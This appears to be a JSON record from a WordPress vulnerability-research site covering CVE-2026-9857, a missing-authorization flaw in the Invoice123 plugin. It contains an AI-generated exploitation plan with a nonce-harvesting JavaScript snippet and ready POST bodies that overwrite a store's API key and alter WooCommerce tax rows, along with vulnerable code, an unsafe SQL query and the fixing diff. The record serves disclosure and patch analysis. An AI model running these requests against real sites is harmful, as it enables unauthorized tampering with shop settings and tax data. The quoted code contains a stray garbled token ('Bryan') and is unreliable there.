[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDah3YOwq8I-EKF3T-Cm8ffoL-fvWyV_TyPf67-G6c2U":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-9857","invoice123-missing-authorization-to-authenticated-subscriber-setting-modification-via-s123submitapikey-s123submitinvoice","Invoice123 \u003C= 1.7.0 - Missing Authorization to Authenticated (Subscriber+) Setting Modification via s123_submit_api_key & s123_submit_invoice_settings AJAX actions","The Invoice123 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the plugin's API key stored in wp_options, modify invoice plugin settings, and alter WooCommerce tax rate data in the wp_woocommerce_tax_rates table.","saskaita123-lt",null,"\u003C=1.7.0","1.7.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-09 20:50:27","2026-07-10 09:32:42",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7d4e685a-0462-447f-a639-4f95d5aa27ab?source=api-prod",1,[22,23,24,25,26,27],"includes\u002Fpages\u002FS123_ApiKey.php","includes\u002Fpages\u002FS123_InvoiceSettings.php","includes\u002Fwoocommerce\u002FS123_Invoice.php","readme.txt","s123-invoices.php","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-9857 (Invoice123)\n\n## 1. Vulnerability Summary\nThe **Invoice123** plugin (\u003C= 1.7.0) fails to implement capability checks on two AJAX actions: `s123_submit_api_key` and `s123_submit_invoice_settings`. While these actions are protected by a WordPress nonce (`s123_security`), they lack any `current_user_can()` check. This allows any authenticated user (including low-privileged Subscribers) to modify the plugin's API key, overwrite critical invoice settings, and manipulate WooCommerce tax rate mappings in the database.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Actions:** \n    *   `s123_submit_api_key` (Registered in `S123\\Includes\\Pages\\S123_ApiKey::s123_register`)\n    *   `s123_submit_invoice_settings` (Registered in `S123\\Includes\\Pages\\S123_InvoiceSettings::s123_register`)\n*   **Authentication:** Authenticated (Subscriber+)\n*   **Parameters:**\n    *   `action`: `s123_submit_api_key` or `s123_submit_invoice_settings`\n    *   `s123_security`: The nonce value (Action name: `s123_security`)\n    *   `api_key`: The new API key to set (for `s123_submit_api_key`)\n    *   `api_vats[]`: An array of strings in format `{api_vat_id}-{woo_tax_id}` (for `s123_submit_invoice_settings`)\n*   **Preconditions:** \n    1.  Plugin active.\n    2.  WooCommerce active (to verify tax rate modification).\n    3.  A valid Subscriber account.\n\n## 3. Code Flow\n### API Key Modification (`S123_ApiKey.php`)\n1.  User sends POST request to `admin-ajax.php` with `action=s123_submit_api_key`.\n2.  `s123_submit_api_key()` is called.\n3.  `wp_verify_nonce($_POST['s123_security'], 's123_security')` validates the nonce.\n4.  **Security Gap:** No `current_user_can('manage_options')` check follows.\n5.  `saveApiKey($data)` is called.\n6.  `$this->s123_update_options($options)` writes the attacker-controlled `api_key` to the `wp_options` table.\n\n### Invoice Settings & Tax Mapping (`S123_InvoiceSettings.php`)\n1.  User sends POST request with `action=s123_submit_invoice_settings`.\n2.  `s123_submit_invoice_settings()` validates the nonce.\n3.  **Security Gap:** No capability check.\n4.  If `api_vats` is present, `mapVats()` is called.\n5.  `mapVats()` iterates through `api_vats`, explodes the string by `-`, and executes: \n    `UPDATE {$wpdb->prefix}woocommerce_tax_rates SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'`\n6.  This allows arbitrary modification of the `s123_tax_id` column in the WooCommerce tax table.\n\n## 4. Nonce Acquisition Strategy\nThe nonce `s123_security` is required. In version 1.7.0, the plugin typically registers settings pages. Low-privileged users might find this nonce in the admin dashboard if the script is enqueued globally.\n\n1.  **Search Admin Pages:** Low-privileged users can access `wp-admin\u002Fprofile.php`. Check if the plugin enqueues its localization object there.\n2.  **Browser Extraction:**\n    *   Login as a Subscriber.\n    *   Navigate to `\u002Fwp-admin\u002Fprofile.php`.\n    *   Use `browser_eval` to search for the nonce:\n        ```javascript\n        \u002F\u002F Look for localized data. Common patterns for this plugin:\n        \u002F\u002F window.s123_vars.s123_security\n        \u002F\u002F window.s123_params.s123_security\n        Object.keys(window).filter(k => k.includes('s123')).forEach(k => console.log(k, window[k]));\n        ```\n3.  **Specific Variable:** Based on common patterns in this plugin's era, check for a localized object (e.g., `s123_obj` or `s123_data`) containing the `s123_security` key.\n\n## 5. Exploitation Strategy\n### Step 1: Obtain Nonce\nUse the `browser_navigate` and `browser_eval` tools as a Subscriber to extract the `s123_security` nonce from the page source or global JS variables.\n\n### Step 2: Overwrite API Key\nSubmit an HTTP request to change the plugin's API key.\n*   **Action:** `s123_submit_api_key`\n*   **Method:** `POST`\n*   **URL:** `[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    ```\n    action=s123_submit_api_key&s123_security=[NONCE]&api_key=pwned_api_key\n    ```\n*   **Expected Response:** JSON success message `{\"success\": true, \"data\": \"...\"}` or a validation error from `makeRequestToValidateKey` (the key is saved *before* the request).\n\n### Step 3: Modify WooCommerce Tax Rates\nSubmit an HTTP request to modify tax mappings.\n*   **Action:** `s123_submit_invoice_settings`\n*   **Method:** `POST`\n*   **URL:** `[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    ```\n    action=s123_submit_invoice_settings&s123_security=[NONCE]&api_vats[]=99999-1&use_custom_inputs=1\n    ```\n    *(Note: `1` in `99999-1` assumes a tax rate with ID 1 exists in the `wp_woocommerce_tax_rates` table).*\n\n## 6. Test Data Setup\n1.  **User:** Create a Subscriber user (e.g., `attacker` \u002F `attacker123`).\n2.  **Plugin:** Install and activate `saskaita123-lt` version 1.7.0.\n3.  **WooCommerce:** Ensure WooCommerce is installed and at least one tax rate is created.\n    *   `wp eval \"BWC_Tax::insert_tax_rate(array('tax_rate_country' => 'US', 'tax_rate_id' => 1));\"` (or via UI).\n\n## 7. Expected Results\n1.  **Response:** The AJAX response should return `HTTP 200` with a JSON payload indicating success (e.g., \"API Key saved successfully!\").\n2.  **API Key:** The WordPress option (likely `s123_options` or similar) will contain `api_key => 'pwned_api_key'`.\n3.  **Tax Table:** The table `wp_woocommerce_tax_rates` will have the `s123_tax_id` column updated to `99999` for the row where `tax_rate_id` is `1`.\n\n## 8. Verification Steps\nAfter the exploit, use WP-CLI to verify the state:\n1.  **Check API Key:**\n    ```bash\n    wp option get s123_options --format=json\n    ```\n2.  **Check Tax Rates:**\n    ```bash\n    wp db query \"SELECT tax_rate_id, s123_tax_id FROM $(wp db prefix)woocommerce_tax_rates WHERE tax_rate_id=1\"\n    ```\n\n## 9. Alternative Approaches\nIf the nonce is not found on `profile.php`:\n1.  Check if the plugin adds an admin menu item that a Subscriber can see (unlikely).\n2.  Check for frontend nonces: Some Invoice123 versions may enqueue scripts on the frontend if WooCommerce \"My Account\" or \"Checkout\" pages are active.\n    *   `wp post create --post_type=page --post_content='[woocommerce_my_account]' --post_status=publish`\n    *   Navigate to this page and search for `s123_security`.\n3.  If `makeRequestToValidateKey()` in `S123_ApiKey.php` blocks success because the key is fake, note that `saveApiKey()` is executed *before* the validation request. The change is persistent even if the AJAX response returns an error.","The Invoice123 plugin for WordPress (\u003C= 1.7.0) contains an authorization bypass vulnerability in its AJAX handlers for API key and invoice setting modifications. Due to a lack of capability checks, authenticated users with subscriber-level permissions can overwrite the plugin's API key and manipulate WooCommerce tax rate mappings in the database.","\u002F\u002F includes\u002Fpages\u002FS123_ApiKey.php:27\npublic function s123_submit_api_key()\n{\n    if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) {\n        $keys = ['api_key'];\n        $data = [];\n\n        foreach ($keys as $key) {\n            $data[$key] = isset($_POST[$key]) ? sanitize_text_field(trim($_POST[$key])) : null;\n        }\n\n        if (!isset($_POST Bryan[\"api_key\"]) || $_POST[\"api_key\"] === '') {\n            S123_ResponseHelpers::s123_sendErrorResponse(__('API Key cannot be empty!', 's123-invoices'));\n        }\n\n        $this->saveApiKey($data);\n\n        \u002F\u002F send versions and validate api key\n        $this->makeRequestToValidateKey();\n    } else {\n        S123_ResponseHelpers::s123_sendErrorResponse(__('Invalid secret key specified.', 's123-invoices'));\n    }\n}\n\n---\n\n\u002F\u002F includes\u002Fpages\u002FS123_InvoiceSettings.php:24\npublic function s123_submit_invoice_settings()\n{\n    if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) {\n        $keys = ['use_custom_inputs', 'use_order_status', 'default_advanced_invoices', 'create_invoice_on_order_creation', 'create_unpaid_invoices'];\n        $data = [];\n        if (isset($_POST['api_vats'])) {\n            \u002F\u002F map woocommerce vat with app.invoice123.com vat\n            $this->mapVats($_POST['api_vats']);\n        }\n\n        foreach ($keys as $key) {\n            $data[$key] = isset($_POST[$key]) ? sanitize_text_field(trim($_POST[$key])) : null;\n        }\n\u002F\u002F ...\n\n---\n\n\u002F\u002F includes\u002Fpages\u002FS123_InvoiceSettings.php:56\npublic function mapVats($vats)\n{\n    foreach ($vats as $vat) {\n        $vat = sanitize_text_field(trim($vat));\n        \u002F\u002F [0] api vat id, [1] woo tax vat id\n        $vat = explode('-', $vat);\n\n        global $wpdb;\n        $tableName = $wpdb->prefix . \"woocommerce_tax_rates\";\n        $wpdb->query($wpdb->prepare(\"UPDATE {$tableName} SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'\"));\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.0\u002Fincludes\u002Fpages\u002FS123_ApiKey.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.1\u002Fincludes\u002Fpages\u002FS123_ApiKey.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.0\u002Fincludes\u002Fpages\u002FS123_ApiKey.php\t2023-06-15 12:43:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.1\u002Fincludes\u002Fpages\u002FS123_ApiKey.php\t2026-07-03 08:08:26.000000000 +0000\n@@ -26,6 +26,10 @@\n      *\u002F\n     public function s123_submit_api_key()\n     {\n+        if (!current_user_can('manage_woocommerce')) {\n+            S123_ResponseHelpers::s123_sendErrorResponse(__('Sorry, you are not allowed to perform this action.', 's123-invoices'));\n+        }\n+\n         if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) {\n             $keys = ['api_key'];\n             $data = [];\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.0\u002Fincludes\u002Fpages\u002FS123_InvoiceSettings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.1\u002Fincludes\u002Fpages\u002FS123_InvoiceSettings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.0\u002Fincludes\u002Fpages\u002FS123_InvoiceSettings.php\t2026-05-25 07:32:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsaskaita123-lt\u002F1.7.1\u002Fincludes\u002Fpages\u002FS123_InvoiceSettings.php\t2026-07-03 08:08:26.000000000 +0000\n@@ -23,6 +23,10 @@\n      *\u002F\n     public function s123_submit_invoice_settings()\n     {\n+        if (!current_user_can('manage_woocommerce')) {\n+            S123_ResponseHelpers::s123_sendErrorResponse(__('Sorry, you are not allowed to perform this action.', 's123-invoices'));\n+        }\n+\n         if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) {\n             $keys = ['use_custom_inputs', 'use_order_status', 'default_advanced_invoices', 'create_invoice_on_order_creation', 'create_unpaid_invoices'];\n             $data = [];\n@@ -55,14 +59,21 @@\n \n     public function mapVats($vats)\n     {\n+        global $wpdb;\n+        $tableName = $wpdb->prefix . \"woocommerce_tax_rates\";\n+\n         foreach ($vats as $vat) {\n             $vat = sanitize_text_field(trim($vat));\n+            $parts = explode('-', $vat);\n+            if (count($parts) \u003C 2) {\n+                continue;\n+            }\n             \u002F\u002F [0] api vat id, [1] woo tax vat id\n-            $vat = explode('-', $vat);\n-\n-            global $wpdb;\n-            $tableName = $wpdb->prefix . \"woocommerce_tax_rates\";\n-            $wpdb->query($wpdb->prepare(\"UPDATE {$tableName} SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'\"));\n+            $wpdb->query($wpdb->prepare(\n+                \"UPDATE {$tableName} SET s123_tax_id = %s WHERE tax_rate_id = %d\",\n+                $parts[0],\n+                $parts[1]\n+            ));\n         }\n     }","To exploit this vulnerability, an authenticated attacker first needs to obtain a valid WordPress nonce named 's123_security'. This nonce is often exposed to subscribers in the administrative interface via localized scripts if the plugin enqueues settings-related JavaScript globally. Once the nonce is obtained, the attacker sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php using either the 's123_submit_api_key' or 's123_submit_invoice_settings' actions. By including the 'api_key' parameter in the first action, an attacker can overwrite the store's API connection string. Alternatively, by using the 'api_vats[]' parameter in the second action (formatted as 'new_tax_id-target_tax_rate_id'), the attacker can directly modify values in the wp_woocommerce_tax_rates database table.","gemini-3-flash-preview","2026-07-15 10:23:41","2026-07-15 10:24:07",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.7.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsaskaita123-lt\u002Ftags\u002F1.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsaskaita123-lt.1.7.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsaskaita123-lt\u002Ftags\u002F1.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsaskaita123-lt.1.7.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsaskaita123-lt\u002Ftags"]